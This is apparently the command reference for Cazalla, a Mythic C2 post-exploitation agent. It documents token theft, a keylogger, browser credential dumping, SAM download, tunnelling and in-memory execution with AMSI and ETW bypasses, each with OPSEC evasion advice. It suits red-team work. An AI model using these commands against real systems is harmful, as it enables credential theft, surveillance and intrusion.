Angerona/documentation-payload/Cazalla/commands.md

+++ 
title = "Commands" 
chapter = false 
weight = 10 
pre = "4. " 
+++

# Cazalla Command Reference

Complete documentation for all Cazalla agent commands.

## 📋 Table of Contents

- [File System Commands](#file-system-commands)
- [Process Management Commands](#process-management-commands)
- [Token Operations](#token-operations)
- [Network Tunneling](#network-tunneling)
- [System Operations](#system-operations)
- [Code Execution](#code-execution)
- [Control Commands](#control-commands)

---

## File System Commands

### `ls` - List Directory Contents

List directory contents with detailed file information.

**Syntax:**
```
ls [path]
```

**Parameters:**
- `path` (optional): Directory path to list. If omitted, lists current working directory.

**Examples:**
```
ls
ls C:\Users
ls C:\Windows\*.exe
```

**Features:**
- Supports wildcards (e.g., `*.exe`, `*.txt`)
- Displays file type (File/Directory), size, modification date, and name
- Compatible with Mythic File Browser for interactive file management
- Relative paths are resolved using current working directory

**Output Format:**
```
Type      Size        Modified              Name
------    ----------  -------------------   --------------------
File      1024       2024-01-15 10:30:00    file.txt
Directory 0          2024-01-15 09:00:00   Documents
```

**Related:** [File Browser Integration](features.md#file-browser-integration)

---

### `cd` - Change Directory

Change the current working directory for the agent.

**Syntax:**
```
cd <path>
```

**Parameters:**
- `path` (required): Directory path to change to. Supports both absolute and relative paths.

**Examples:**
```
cd C:\Users\Administrator
cd ..
cd Documents
```

**Features:**
- The new directory is automatically tracked and displayed in the Mythic UI context tabs
- Supports both absolute paths (e.g., `C:\Windows\System32`) and relative paths
- The current directory is used by other file system commands when relative paths are provided

**Output:**
```
Changed directory to: C:\Users\Administrator
```

**Related:** [Context Tracking](features.md#context-tracking)

---

### `pwd` - Print Working Directory

Display the current working directory of the agent.

**Syntax:**
```
pwd
```

**Parameters:** None

**Examples:**
```
pwd
```

**Output:**
```
C:\Users\Administrator\Documents
```

**Features:**
- Shows the absolute path that the agent is currently using as its working directory
- This directory is automatically tracked and displayed in the Mythic UI context tabs
- Useful for verifying the current location before executing file system operations

**Related:** [Context Tracking](features.md#context-tracking)

---

### `cat` - Read File Contents

Read and display the contents of a file on the target system.

**Syntax:**
```
cat <file_path>
```

**Parameters:**
- `file_path` (required): Path to the file to read. Supports both absolute and relative paths.

**Examples:**
```
cat C:\Users\Administrator\Desktop\notes.txt
cat config.ini
cat C:\Windows\System32\drivers\etc\hosts
```

**Features:**
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Automatically detects and extracts credentials from file contents including:
  - Plaintext passwords
  - NTLM hashes (format: `aad3b435b51404ee:hash`)
  - Domain credentials
- Detected credentials are automatically added to Mythic's credential store
- Useful for reading configuration files, log files, and credential databases

**Output Example:**
```
[cat] Reading file: C:\Users\Administrator\notes.txt
Hello, this is a test file.

[cat] Credentials detected:
- Password: MyPassword123
- Hash: aad3b435b51404ee:1234567890abcdef...
```

**OPSEC Considerations:**
- File reads are logged by EDR/XDR solutions
- Accessing sensitive files (System32, Program Files) may trigger alerts
- Consider using `download` for large files instead of `cat`

**Related:** [Credentials Support](features.md#credentials-support)

---

### `cp` - Copy File

Copy a file from a source location to a destination path on the target system.

**Syntax:**
```
cp <source_path> <destination_path>
```

**Parameters:**
- `source_path` (required): Path to the source file
- `destination_path` (required): Path where the file will be copied to

**Examples:**
```
cp C:\Users\file.txt C:\temp\backup.txt
cp source.exe C:\Windows\Temp\malware.exe
cp config.ini config.ini.bak
```

**Features:**
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- The destination file will be overwritten if it already exists
- Creates a 'File Write' artifact for the destination file
- Useful for creating backups, moving files, or preparing payloads in staging directories

**Output:**
```
[cp] File copied: C:\Users\file.txt -> C:\temp\backup.txt
```

**OPSEC Considerations:**
- File writes are logged by EDR/XDR solutions
- Copying to sensitive locations (System32, Windows, Program Files) may trigger alerts
- File write artifacts are automatically tracked

**Related:** [Artifacts Support](features.md#artifacts-support)

---

### `mkdir` - Create Directory

Create a new directory on the target system.

**Syntax:**
```
mkdir <path>
```

**Parameters:**
- `path` (required): Directory path to create. Supports both absolute and relative paths.

**Examples:**
```
mkdir C:\temp\new_folder
mkdir staging
mkdir C:\Users\Administrator\Documents\Project
```

**Features:**
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Creates parent directories if they don't exist
- Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities

**Output:**
```
[mkdir] Directory created: C:\temp\new_folder
```

---

### `rm` - Delete File or Directory

Delete a file or directory from the target system.

**Syntax:**
```
rm <path>
```

**Parameters:**
- `path` (required): File or directory path to delete. Supports both absolute and relative paths.

**Examples:**
```
rm C:\temp\file.txt
rm C:\temp\old_folder
rm backup.log
```

**Features:**
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Can delete individual files or entire directories
- WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety
- Use with caution as deleted files cannot be recovered through this command

**Output:**
```
[rm] File deleted: C:\temp\file.txt
```

**OPSEC Considerations:**
- File deletions are logged by EDR/XDR solutions
- Deleting system files may trigger alerts
- Consider the operational impact before deleting files

---

### `download` - Download File from Target

Download a file from the target system to the Mythic server.

**Syntax:**
```
download <file_path>
```

**Parameters:**
- `file_path` (required): Path to the file to download. Supports both absolute and relative paths.

**Examples:**
```
download C:\Users\Administrator\Desktop\important.txt
download C:\Windows\System32\config\sam
download report.pdf
```

**Features:**
- Supports files up to 2GB in size
- Files are transferred in 512KB chunks for efficient transmission
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Compatible with Mythic File Browser for interactive file selection
- Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems

**Output:**
```
[download] Starting download: C:\Users\important.txt (1024000 bytes)
[download] Chunk 1/2 downloaded: 512000 bytes
[download] Chunk 2/2 downloaded: 512000 bytes
[download] Download complete: C:\Users\important.txt
```

**OPSEC Considerations:**
- File reads are logged by EDR/XDR solutions
- Large downloads generate network traffic and may trigger alerts
- Downloading sensitive files (SAM, config files) may trigger DLP systems
- Consider using smaller chunk sizes or splitting large files

**Related:** [File Downloads Support](features.md#file-downloads-support)

---

### `upload` - Upload File to Target

Upload a file from the Mythic server to the target system.

**Syntax:**
```
upload <file_id> <destination_path>
```

**Parameters:**
- `file_id` (required): File ID from Mythic's file browser. Obtained by uploading a file to Mythic first.
- `destination_path` (required): Destination path where the file will be written. Supports both absolute and relative paths.

**Examples:**
```
upload abc123-def456-ghi789 C:\Users\Administrator\Desktop\payload.exe
upload xyz789 C:\Windows\Temp\stager.dll
upload file123 C:\temp\data.txt
```

**Features:**
- Requires a file_id (obtained from Mythic's file browser) and a destination path where the file will be written
- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
- Creates a 'File Write' artifact for tracking
- Uploads to sensitive locations (System32, Windows, Program Files) or with suspicious extensions (.exe, .dll, .ps1, .bat, .vbs) may trigger detection by security tools

**How to Get File ID:**

1. Upload a file to Mythic:
   - Go to **Files** in Mythic UI
   - Click **Upload File**
   - Select your file
   - Note the file ID (shown in the file list)

2. Use the file ID in the upload command

**Output:**
```
[upload] Starting upload: C:\Users\Administrator\Desktop\payload.exe (2048000 bytes)
[upload] Chunk 1/4 written: 512000 bytes
[upload] Chunk 2/4 written: 512000 bytes
[upload] Chunk 3/4 written: 512000 bytes
[upload] Chunk 4/4 written: 512000 bytes
[upload] Upload complete: C:\Users\Administrator\Desktop\payload.exe
```

**OPSEC Considerations:**
- File writes are logged by EDR/XDR solutions
- Uploads to sensitive locations may trigger alerts
- Suspicious file extensions (.exe, .dll, .ps1, .bat, .vbs) are monitored
- File write artifacts are automatically tracked

**Related:** [File Uploads Support](features.md#file-uploads-support)

---

## Process Management Commands

### `ps` - List Processes

List all running processes on the target system.

**Syntax:**
```
ps
```

**Parameters:** None

**Examples:**
```
ps
```

**Features:**
- Displays detailed process information including:
  - PID (Process ID)
  - Process name
  - Parent PID
  - Architecture (x64/x86)
  - Username
  - Session ID
- Automatically updates the Mythic Process Browser, allowing interactive process management (kill, steal_token, list_tokens) directly from the UI
- The Process Browser cache is automatically cleared to show only currently running processes

**Output Format:**
```
PID     Process Name          PPID    Arch    User                    Session
-----   -------------------   -----   -----   ----------------------  -------
1234    explorer.exe          1230    x64     DESKTOP-ABC\User        1
5678    chrome.exe            1234    x64     DESKTOP-ABC\User        1
```

**Related:** [Process Browser Integration](features.md#process-browser-integration)

---

### `kill` - Terminate Process

Terminate a process by its Process ID (PID).

**Syntax:**
```
kill <pid>
```

**Parameters:**
- `pid` (required): Process ID of the process to terminate.

**Examples:**
```
kill 1234
kill 5678
```

**Features:**
- The process is immediately terminated using TerminateProcess API
- Compatible with Mythic Process Browser for interactive process termination
- Automatically removes the killed process from the Process Browser view
- WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability
- Creates a 'Process Termination' artifact for tracking

**Output:**
```
[kill] Process terminated: explorer.exe (PID: 1234)
```

**OPSEC Considerations:**
- Process termination is logged by EDR/XDR solutions
- Terminating critical processes may trigger alerts
- Process termination artifacts are automatically tracked

**Related:** [Process Browser Integration](features.md#process-browser-integration), [Artifacts Support](features.md#artifacts-support)

---

## Token Operations

### `list_tokens` - Enumerate Tokens

Enumerate and list all available security tokens from running processes on the target system.

**Syntax:**
```
list_tokens
```

**Parameters:** None

**Examples:**
```
list_tokens
```

**Features:**
- Shows detailed token information including user context, privileges, and groups for each process
- Compatible with Mythic Process Browser for interactive token enumeration
- Useful for reconnaissance to identify high-value tokens before attempting token theft
- Lower detection risk than token theft operations, but token enumeration may still be logged by security tools

**Output Format:**
```
PID     Process Name          User                    Domain           Privileges
-----   -------------------   ----------------------  --------------   -------------------
1234    lsass.exe             SYSTEM                  NT AUTHORITY      SeDebugPrivilege
5678    explorer.exe          User                    DESKTOP-ABC      SeChangeNotifyPrivilege
```

**OPSEC Considerations:**
- Token enumeration may be logged by security tools
- Lower risk than token theft, but still detectable
- Use for reconnaissance before attempting token theft

**Related:** [Process Browser Integration](features.md#process-browser-integration), [Token Support](features.md#token-support)

---

### `steal_token` - Steal Process Token

Steal and impersonate the security token from a target process.

**Syntax:**
```
steal_token <pid>
```

**Parameters:**
- `pid` (required): Process ID of the process to steal the token from.

**Examples:**
```
steal_token 1234
steal_token 5678
```

**Features:**
- Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process
- Compatible with Mythic Process Browser for interactive token theft
- The impersonation context is automatically tracked and displayed in the Mythic UI
- CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions, especially when targeting LSASS or other critical processes
- Always requires approval from another operator
- Prefer `make_token` for domain credentials when possible

**Output:**
```
[steal_token] Token stolen from process: explorer.exe (PID: 1234)
[steal_token] Impersonating user: DESKTOP-ABC\User
```

**OPSEC Considerations:**
- **CRITICAL OPSEC RISK**: Token theft is heavily monitored
- Targeting LSASS or critical processes triggers high-priority alerts
- Always requires operator approval (OPSEC pre-check blocks execution)
- Process access is logged by EDR/XDR solutions
- Consider using `make_token` instead when you have credentials

**Related:** [OPSEC Checking](opsec.md), [Token Support](features.md#token-support), [Process Browser Integration](features.md#process-browser-integration)

---

### `make_token` - Create Token from Credentials

Create a new security token using plaintext credentials and impersonate it.

**Syntax:**
```
make_token <domain> <username> <password> [logon_type]
```

**Parameters:**
- `domain` (required): Domain name (or empty string for local machine)
- `username` (required): Username to authenticate as
- `password` (required): Password for authentication
- `logon_type` (optional): Logon type (default: 9 - NewCredentials)

**Examples:**
```
make_token "" Administrator P@ssw0rd123
make_token DOMAIN user01 MyPassword
make_token WORKGROUP localuser Secret123 9
```

**Features:**
- Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API
- The logon_type parameter (default: 9 - NewCredentials) determines the authentication type
- The impersonation context is automatically tracked and displayed in the Mythic UI
- Less detectable than `steal_token` as it doesn't require accessing LSASS memory, but may still generate authentication logs
- Use `rev2self` to revert to the original token

**Output:**
```
[make_token] Creating token for: DOMAIN\User01
[make_token] Authentication successful
[make_token] Impersonating user: DOMAIN\User01
```

**OPSEC Considerations:**
- Authentication events are logged by Windows Event Log
- Less detectable than token theft, but still generates logs
- Authentication failures may trigger alerts
- Use `rev2self` after completing operations to reduce detection risk

**Related:** [Token Support](features.md#token-support), [Context Tracking](features.md#context-tracking)

---

### `rev2self` - Revert Token Impersonation

Revert token impersonation back to the original process token.

**Syntax:**
```
rev2self
```

**Parameters:** None

**Examples:**
```
rev2self
```

**Features:**
- This command stops impersonating any stolen or created token and returns to the agent's original security context
- The impersonation context in the Mythic UI is automatically cleared
- Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk

**Output:**
```
[rev2self] Reverted to original token
[rev2self] Current user: DESKTOP-ABC\OriginalUser
```

**Related:** [Token Support](features.md#token-support), [Context Tracking](features.md#context-tracking)

---

### `whoami` - Display Current Context

Display the current security context of the agent.

**Syntax:**
```
whoami
```

**Parameters:** None

**Examples:**
```
whoami
```

**Features:**
- Shows the username and domain of the active security token
- If token impersonation is active (via `steal_token` or `make_token`), displays the impersonated user context
- Otherwise, displays the process token context
- Useful for verifying that token operations succeeded and for confirming the current privilege level before executing commands that require specific permissions

**Output:**
```
Current user: DOMAIN\User01
Domain: DOMAIN
```

**Related:** [Token Support](features.md#token-support), [Context Tracking](features.md#context-tracking)

---

## Network Tunneling

### `socks` - SOCKS5 Proxy

Start or stop a SOCKS5 proxy server on the Mythic server.

**Syntax:**
```
socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}
```

**Parameters:**
- `action` (required): Either `"start"` or `"stop"`
- `port` (optional): Port number for the SOCKS proxy (default: 7002)

**Examples:**
```
socks {"action":"start","port":7002}
socks {"action":"stop","port":7002}
```

**Features:**
- When started, the SOCKS proxy allows routing network traffic through the agent to access internal network resources
- The default port is 7002
- The proxy runs on the Mythic server and uses the agent as a tunnel for network connections
- WARNING: SOCKS proxies generate continuous network traffic and may be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
- Use non-standard ports and be aware of high bandwidth usage

**Output:**
```
[socks] SOCKS proxy started on port 7002
```

**OPSEC Considerations:**
- SOCKS proxies generate continuous network traffic
- May be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
- Use non-standard ports
- Be aware of high bandwidth usage
- Consider the operational impact before starting

**Related:** [SOCKS Proxy Support](features.md#socks-proxy-support), [Usage Examples](examples.md#socks-proxy-example)

---

### `rpfwd` - Reverse Port Forwarding

Start or stop reverse port forwarding (RPFWD).

**Syntax:**
```
rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
rpfwd {"action":"stop","port":8080}
```

**Parameters:**
- `action` (required): Either `"start"` or `"stop"`
- `port` (required for start): Local port on the agent to listen on (default: 8080)
- `remote_host` (required for start): Remote host to forward connections to
- `remote_port` (required for start): Remote port to forward connections to

**Examples:**
```
rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
rpfwd {"action":"stop","port":8080}
```

**Features:**
- When started, the agent listens on a local port on the target system
- Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port)
- Default local port: 8080
- Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces)
- WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
- Avoid using privileged ports (<1024) which require elevated privileges

**Output:**
```
[rpfwd] Reverse port forwarding started on port 8080
[rpfwd] Forwarding connections to: 192.168.1.100:80
```

**OPSEC Considerations:**
- Reverse port forwarding creates persistent network connections
- May be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
- Avoid using privileged ports (<1024) which require elevated privileges
- Consider the operational impact before starting

**Related:** [Reverse Port Forwarding Support](features.md#reverse-port-forwarding-rpfwd-support), [Usage Examples](examples.md#reverse-port-forwarding-example)

---

## System Operations

### `shell` - Execute Shell Command

Execute arbitrary shell commands on the target system by spawning cmd.exe.

**Syntax:**
```
shell <command>
```

**Parameters:**
- `command` (required): Shell command to execute.

**Examples:**
```
shell whoami
shell dir C:\Users
shell ipconfig /all
```

**Features:**
- The command is executed in a non-interactive shell and the output is captured and returned
- HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions
- Command execution and command-line arguments are logged by security tools
- Consider using built-in Cazalla commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC
- Always requires approval from another operator before execution

**Output:**
```
Microsoft Windows [Version 10.0.19041.1234]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>whoami
desktop-abc\administrator
```

**OPSEC Considerations:**
- **HIGH OPSEC RISK**: Spawns cmd.exe which is heavily monitored
- Command execution and arguments are logged by EDR/XDR solutions
- Always requires operator approval (OPSEC pre-check blocks execution)
- Consider using built-in Cazalla commands instead when possible

**Related:** [OPSEC Checking](opsec.md)

---

## Code Execution

### `inline_execute` - Execute Beacon Object File (BOF)

Execute a Beacon Object File (BOF) in the current process thread and capture its output.

**Syntax:**
```
inline_execute -BOF <bof_file> [-Arguments <arguments>]
```

**Parameters:**
- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`)
- `bof_file` (required for new uploads): A new BOF file to upload and execute
- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF

**Argument Types:**
- `int16:123` or `-s:123` - 16-bit integer
- `int32:1234` or `-i:1234` - 32-bit integer
- `string:hello` or `-z:hello` - Null-terminated string
- `wchar:hello` or `-Z:hello` - Wide character string
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
- `bytes:hexstring` - Hexadecimal string of bytes

**Examples:**
```
inline_execute -BOF whoami.x64.o
inline_execute -BOF listmods.x64.o -Arguments int32:1234
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
```

**Features:**
- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
- **Output Capture**: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput
- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64, bytes)
- **Thread Isolation**: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking

**Output:**
```
[BOF Output]
Module Name: ntdll.dll
Base Address: 0x7ffa12340000
Size: 0x1f0000
```

**OPSEC Considerations:**
- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
- **Thread Isolation**: BOFs execute in a separate thread with timeout protection

**Technical Details:**
- Arguments are serialized using Packer format: `[size:4 bytes LE][data]`
- Boolean values are automatically converted to integers (0 or 1) before serialization
- BOFs that hang will timeout after 30 seconds and output will still be captured

**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute.md)

---

### `inline_execute_assembly` - Execute .NET Assembly In-Process

Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).

**Syntax:**
```
inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]
```

**Parameters:**
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately

**Examples:**
```
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw
```

**Features:**
- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
- **AMSI Bypass**: Optional AMSI bypass by patching `clr.dll` (more evasive than patching `amsi.dll`)
- **ETW Bypass**: Optional ETW bypass via EAT hooking
- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
- **Output Capture**: Automatically captures and returns assembly output via completion callback
- **BOF-Based**: Uses the Inline-EA BOF (`inline-ea.x64.o`) under the hood (executed via `inline_execute`)
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
- **Subtask Integration**: Creates a subtask that calls `inline_execute`, with output aggregated via completion callback

**How It Works:**
1. Retrieves the .NET assembly from Mythic
2. Searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
3. Creates a subtask that calls `inline_execute` with the Inline-EA BOF
4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF
5. BOF loads the assembly into memory using .NET CLR APIs
6. Optional bypasses (AMSI, ETW) are applied if requested via flags
7. Assembly's entry point is executed with the provided arguments
8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback

**Output:**
```
SharpUp execution started...
[*] Checking for insecure file permissions...
[*] Checking for unquoted service paths...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
[*] Completed Privesc Checks in 17 seconds
```

**OPSEC Considerations:**
- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection

**Technical Details:**
- Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA)
- Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF
- If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
- Output is aggregated from the subtask and displayed directly in the main command (not as a subtask)

**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute_assembly.md)

---

### `screenshot` - Capture Screenshot

Capture a screenshot of the primary desktop display and upload it to the Mythic server.

**Syntax:**
```
screenshot
```

**Parameters:** None

**Examples:**
```
screenshot
```

**Features:**
- Uses Windows GDI API (BitBlt) to capture the screen content
- The screenshot is automatically uploaded as a file to Mythic for viewing
- Requires an active interactive desktop session
- May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems
- Large screenshots may trigger network monitoring alerts

**Output:**
```
[screenshot] Capturing screenshot...
[screenshot] Screenshot captured: 1920x1080 pixels
[screenshot] Uploading to Mythic...
[screenshot] Screenshot uploaded successfully
```

**OPSEC Considerations:**
- Screen capture is detected by many security tools
- May trigger behavioral analysis alerts
- Large screenshots generate network traffic
- Requires an active interactive desktop session

**Related:** [Usage Examples](examples.md#screenshot-example)

---

### `keylog_start` - Start Keylogger

Start a low-level keyboard logger that captures all keystrokes from the system.

**Syntax:**
```
keylog_start
```

**Parameters:** None

**Examples:**
```
keylog_start
```

**Features:**
- Captures all keystrokes from the system and streams them to Mythic in real-time
- Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level
- CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines
- Detection is likely within minutes or hours
- Always requires approval from a lead operator
- Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC

**Output:**
```
[keylog_start] Starting keylogger...
[keylog_start] Keyboard hook installed
[keylog_start] Keylogger active
```

**OPSEC Considerations:**
- **CRITICAL OPSEC RISK**: Extremely detectable
- Detection is likely within minutes or hours
- Always requires operator approval (OPSEC pre-check blocks execution)
- Consider alternatives for better OPSEC

**Related:** [OPSEC Checking](opsec.md), [Keylogging Support](features.md#keylogging-support)

---

### `keylog_stop` - Stop Keylogger

Stop the active keyboard logger and remove the keyboard hooks.

**Syntax:**
```
keylog_stop
```

**Parameters:** None

**Examples:**
```
keylog_stop
```

**Features:**
- This command safely terminates keylogging operations and cleans up the hooking mechanisms
- Use this command when keylogging is no longer needed to reduce detection risk and free system resources

**Output:**
```
[keylog_stop] Stopping keylogger...
[keylog_stop] Keyboard hook removed
[keylog_stop] Keylogger stopped
```

**Related:** [Keylogging Support](features.md#keylogging-support)

---

### `browser_info` - Identify Installed Browsers

Identify installed web browsers and the default browser on the target system.

**Syntax:**
```
browser_info
```

**Parameters:** None

**Examples:**
```
browser_info
```

**Features:**
- Detects multiple browsers: Google Chrome, Microsoft Edge, Mozilla Firefox, Opera, Brave
- Displays installation paths for each detected browser
- Shows version information when available
- Identifies the system's default browser
- Read-only operation - does not modify system state
- Low detection risk - only reads registry and file system

**Output:**
```
=== Installed Browsers ===

[1] Google Chrome
    Path: C:\Program Files\Google\Chrome\Application\chrome.exe
    Version: 120.0.6099.109.0

[2] Microsoft Edge
    Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    Version: 120.0.2210.91.0

=== Default Browser ===

Name: Google Chrome
Path: C:\Program Files\Google\Chrome\Application\chrome.exe
```

**OPSEC Considerations:**
- Low detection risk - read-only operations are rarely flagged
- Registry reads may be logged if registry auditing is enabled
- File system access may be logged if file auditing is enabled
- No process creation or network activity
- No file modifications

**Related:** [System Information Gathering](features.md#system-information-gathering), [Detailed Documentation](commands/browser_info.md)

---

### `browser_dump` - Dump Browser Credentials

Extract cookies, saved passwords, and bookmarks from web browsers.

**Syntax:**
```
browser_dump <browser>
```

**Parameters:**
- `browser` (required): Browser to dump. Must be one of: `chrome`, `firefox`

**Examples:**
```
browser_dump chrome
browser_dump firefox
```

**Features:**
- Supports Chrome and Firefox
- Extracts cookies (display only), saved passwords, and bookmarks
- Automatically decrypts browser-protected credentials
- Reports saved passwords to Mythic's credential store (cookies are NOT stored)
- Smart cookie filtering: Only shows session cookies useful for authentication
- HIGH OPSEC RISK: Browser credential access is heavily monitored

**Output:**
```
============================================
||               Cookies                  ||
============================================

- URL: example.com
- Cookie: session_id=abc123...

============================================
||              Saved logins              ||
============================================

- URL: https://example.com
- Username: user@example.com
- Password: mypassword123
```

**Credential Reporting:**
- **Passwords**: Automatically saved to Mythic's credential store
- **Cookies**: Displayed in output but NOT stored as credentials

**OPSEC Considerations:**
- HIGH DETECTION RISK - Browser credential access is heavily monitored
- EDR/XDR solutions have specific detection rules
- File access to browser databases triggers alerts
- Detection is likely within minutes
- Always requires approval from another operator

**Related:** [Browser Information Command](commands/browser_info.md), [Detailed Documentation](commands/browser_dump.md)

---

## Control Commands

### `sleep` - Adjust Beacon Interval

Change the agent's sleep interval (check-in frequency) and optional jitter percentage.

**Syntax:**
```
sleep {"seconds":30,"jitter":10}
```

**Parameters:**
- `seconds` (required): Sleep interval in seconds
- `jitter` (optional): Jitter percentage (0-100)

**Examples:**
```
sleep {"seconds":30,"jitter":10}
sleep {"seconds":60}
sleep {"seconds":10,"jitter":30}
```

**Features:**
- The sleep interval determines how long the agent waits between check-ins with the Mythic server
- Jitter adds random variation to the sleep interval to avoid predictable timing patterns
- Lower sleep values provide more responsive interaction but increase network activity and detection risk
- Higher sleep values reduce detection risk but make the agent less responsive
- Jitter helps evade behavioral detection based on timing analysis

**Output:**
```
[sleep] Sleep interval set to: 30 seconds
[sleep] Jitter set to: 10%
```

**Recommendations:**
- **Initial deployment**: 30-60 seconds with 10-30% jitter
- **Interactive operations**: 5-10 seconds with 10-20% jitter
- **Stealth mode**: 60-120 seconds with 20-40% jitter

---

### `exit` - Terminate Agent

Instruct the agent to exit and terminate.

**Syntax:**
```
exit
```

**Parameters:** None

**Examples:**
```
exit
```

**Features:**
- The agent will perform cleanup operations and then terminate its process
- This command is permanent - the agent will stop running and will not check in again
- Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination
- Compatible with Mythic's callback table exit functionality

**Output:**
```
[exit] Terminating agent...
[exit] Agent exited
```

**Warning:** This command permanently terminates the agent. The agent will not automatically reconnect.

---

## Command Parameter Formats

### JSON Parameters

Some commands require JSON-formatted parameters:

- `socks`: `{"action":"start","port":7002}`
- `rpfwd`: `{"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}`
- `sleep`: `{"seconds":30,"jitter":10}`
- `make_token`: Dictionary with `domain`, `username`, `password`, `logon_type`

### String Parameters

Most commands use simple string parameters:

- `ls C:\Users`
- `cd C:\Windows\System32`
- `cat file.txt`
- `kill 1234`

### Path Handling

- **Absolute paths**: `C:\Users\Administrator\Desktop\file.txt`
- **Relative paths**: `file.txt` (resolved using current working directory)
- **Path normalization**: Double backslashes are automatically normalized

---

## Command Output Formatting

Commands output information in a consistent format:

- **Success messages**: `[command] Operation completed: details`
- **Error messages**: `[command] Error: description (Code: error_code)`
- **Progress messages**: `[command] Progress: current/total`

---
